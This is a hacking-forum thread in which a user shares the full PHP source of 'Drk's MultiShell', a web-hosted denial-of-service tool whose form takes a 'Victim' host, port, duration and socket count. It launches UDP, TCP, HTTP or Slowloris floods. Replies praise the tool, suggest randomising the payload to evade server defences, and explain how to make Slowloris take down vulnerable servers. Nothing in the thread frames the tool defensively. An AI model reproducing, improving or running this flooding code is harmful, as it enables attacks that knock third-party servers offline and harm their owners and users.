Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

PHP 

Drk's MultiShell(UDP/TCP/HTTP/Slowloris) (MultiSocket)

Drk's MultiShell
[img]http://img528.imageshack.us/img528/8172/capturehrk.png[/img]

Hello everyone and welcome to my thread. I said this was my project today and I accomplished it.
Code
<title> DrkShotz MultiShell </title>
<html>
<body>
<center>
<font color="#FEFDFF">
<STYLE>
input{
background-color: #FEFDFF; font-size: 9pt; color: black; font-family: Tahoma; border: 1 solid #66;
}
button{
background-color: #FEFDFF; font-size: 8pt; color: white; font-family: Tahoma; border: 1 solid #66;
}
body {
background-color: black;
}
</style>

<?php

/**
* @author DrkShotz
* @copyright 2010
*/

if (isset($_GET['host']) && isset($_GET['time']))
{
    ignore_user_abort(true);
    set_time_limit(0);
    $exec_time = $_GET['time'];
    $ip = $_GET['host'];
    $tmm = $_GET['time'];
    $dostype = $_GET['type'];
    $packets = 0;
    $port = $_GET['port'];
    $socket = $_GET['sockets'];
    $time = time();
    $max_time = $time + $exec_time;

    if ($dostype == '1')
    {
  $floodtype = 'UDP';
  $out = array('a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm',
    'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2',
    '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I',
    'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y',
    'Z');
  $length = count($out) - 1;
  for ($i = 0; $i < 65000; $i++)
  {
    $out .= $out[rand(0, $length)];
  }

  while (1)
  {
    if (time() > $max_time)
    {
    break;
    }
    ;
    for ($i = 0; $i < $socket; $i++)
    {
    if (time() > $max_time)
    {
    break;
    }
    ;

    $fp = fsockopen('udp://' . $ip, $port, $errno, $errstr, 150);
    if ($fp)
    {
    fwrite($fp, $out);

    fclose($fp);
    $packets++;
    }
    }
  }
    }
    ;

    if ($dostype == '2')
  {
  $floodtype = 'TCP';
  $out = array('a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm',
    'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2',
    '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I',
    'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y',
    'Z');
  $length = count($out) - 1;
  for ($i = 0; $i < 65000; $i++)
  {
    $out .= $out[rand(0, $length)];
  }

  while (1)
  {
    if (time() > $max_time)
    {
    break;
    }
    ;
    for ($i = 0; $i < $socket; $i++)
    {
    if (time() > $max_time)
    {
    break;
    }
    ;

    $fp = fsockopen('tcp://' . $ip, $port, $errno, $errstr, 150);
    if ($fp)
    {
    fwrite($fp, $out);

    fclose($fp);
    $packets++;
    }
    }
  }
    }
    ;

    if ($dostype == '3')
    {
  $floodtype = 'HTTP';
  $out = "GET / HTTP/1.1\r\n";
  $out .= "Host: " . $ip . "\r\n";
  $out .= "Accept: */*\r\n";
    {

  while (1)
  {
    if (time() > $max_time)
    {
    break;
    }
    ;
    for ($i = 0; $i < $socket; $i++)
    {
    if (time() > $max_time)
    {
    break;
    }
    ;

    $fp = fsockopen($ip, 80, $errno, $errstr, 150);
    if ($fp)
    {
    fwrite($fp, $out);

    fclose($fp);
    $packets++;
    }
    }
  }
    }
    }
    ;

    if ($dostype == '4')
    {
  $floodtype = 'Slowloris';
  $out = "POST / HTTP/1.1\r\n";
  $out .= "Host: " . $ip . "\r\n";
  $out .= "Content-Length: 1\r\n\r\n";
  $out .= "X";
  while (1)
  {
    if (time() > $max_time)
    {
    break;
    }
    ;

    for ($i = 0; $i < $socket; $i++)
    {
    if (time() > $max_time)
    {
    break;
    }
    ;

    $fp = fsockopen($ip, 80, $errno, $errstr, 150);
    if ($fp)
    {
    fwrite($fp, $out);

    fclose($fp);
    $packets++;
    }
    }
  }
    }
    ;

    echo 'DrkShotz MultiShell';
    echo '<form action=? method=GET>
    <input type="hidden" name="dos" value="true">
    Victim: <br><input type=text name=host value=><br>
    Port: <br><input type=text name=port value=><br>
    Length (seconds): <br><input type=text name=time value=><br>
    Sockets: <br><input type=text name=sockets value=><br>
    Type of flood:<br>
    <select name="type">
    <option value="1" selected>UDP</option>
    <option value="2">TCP</option>
    <option value="3">HTTP</option>
    <option value="4">Slowloris</option>
    </select>
    <br><br>
    <input type=submit value=Go></form>';
    echo '<b>' . $floodtype . ' Flood Stats Report For Address: ' . $ip . '</b><br>';
    echo 'Your IP: ' . getenv("REMOTE_ADDR") . '<br>';
    echo 'Packets Sent : ' . $packets . '<br>';
    echo 'Average Packets/S: ' . round($packets / $tmm, 2) . '<br>';
    echo 'Time of DoS: ' . $tmm . '<br>';

} else
{
    echo 'DrkShotz MultiShell';
    echo '<form action=? method=GET>
    <input type="hidden" name="dos" value="true">
    Victim: <br><input type=text name=host value=><br>
    Port: <br><input type=text name=port value=><br>
    Length (seconds): <br><input type=text name=time value=><br>
    Sockets: <br><input type=text name=sockets value=><br>
    Type of flood:<br>
    <select name="type">
    <option value="1" selected>UDP</option>
    <option value="2">TCP</option>
    <option value="3">HTTP</option>
    <option value="4">Slowloris</option>
    </select>
    <br><br>
    <input type=submit value=Go></form>';
}
;

?>
</center>
</body>
</html>
Nice GUI dude. I already have the skeleton script of your release I guess.
(Dec 11, 2010 05:30 PM)Uncomplicated Wrote:  Nice GUI dude. I already have the skeleton script of your release I guess.

thanks for the comment. and the skeleton script??
Nice. Will PM you if I could get a copy in a bit.
GUI looks pretty nice, looks like a good shell.
Umm i got a +3 rep but i didn't reach 100 posts may i have it or i should get more posts ? :S
(Dec 11, 2010 05:35 PM)tsiba Wrote:  Umm i got a +3 rep but i didn't reach 100 posts may i have it or i should get more posts ? :S

ill give it to u just pm me :)


I just posted the source. just say thanks people :)
Just a theory:

I think webs-ervers must have developed immunity to

PHP Code

<?php 
for ($i = 0; $i < 65000; $i++)
  {
    
$out .= 'X';
  } 

So we should do something like

PHP Code

<?php 
$twister
=array('a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z');
        
$length=count($twister)-1;
        for(
$i=0;$i<65000;$i++)
            {
                
$out .= $twister[rand(0,$length)];
            } 

BTW, nice release mate :
Thanks, will take a look at it when im in my free time.
Thanks for the share. I have one question though, why do you guys do :
PHP Code

<?php 
while(1)
{
if(
time() > $max_time) break;
} 
Instead of :
PHP Code

<?php 
while(time() < $max_time)
{

} 
? Is there a difference in execution time or something ?
Maybe because they all rip off the same code released by someone old like ORGY ? 😏
Honestly, all of your code sucks.

UDP is just the same as all the other UDP, so I can't say too much.

Your TCP flood fails, because it tries to access all ports. The TCP handshake will only be completed if the port is accepting connections.

Your HTTP flood will only flood the index, which is usually not a very large page.

Your slowloris will fail because it will only use up one socket at a time. Meaning it wont do shit.
still lurkin. still bitcoin cashin.
(Dec 11, 2010 05:57 PM)Eight Wrote:  Thanks for the share. I have one question though, why do you guys do :
PHP Code

<?php 
while(1)
{
if(
time() > $max_time) break;
} 
Instead of :
PHP Code

<?php 
while(time() < $max_time)
{

} 
? Is there a difference in execution time or something ?

servers have some kind of set time for example some of them have 15 secs to dos all together. In other words the dos shell will not dos above 15 secs and if you try to exceed that then it will give an error like max time limit is 15 or something
Quote:Your slowloris will fail because it will only use up one socket at a time. Meaning it wont do shit.


Agreed. Slowloris can not be detected in most general cases but will do no harm to a good server.
(Dec 11, 2010 06:07 PM)Uncomplicated Wrote:  Agreed. Slowloris can not be detected in most general cases but will do no harm to a good server.

No, if done correctly, it will cleanly bring down a vulnerable server. But to do that, you have to take up all available sockets. One socket will not be NEAR enough.
still lurkin. still bitcoin cashin.


Possibly Related Threads...
Thread / Author Replies Views Last Post
[PHP] by ReaganJan 20, 2017 03:45 PM 8 784 Jan 20, 2017 03:45 PM
Last Post: LS RX7
[PHP] by LifeplayingSep 11, 2015 09:13 AM 0 590 Sep 11, 2015 09:13 AM
Last Post: Lifeplaying
[PHP] by DistrictSep 16, 2014 05:00 PM 6 200 Sep 16, 2014 05:00 PM
Last Post: +Haze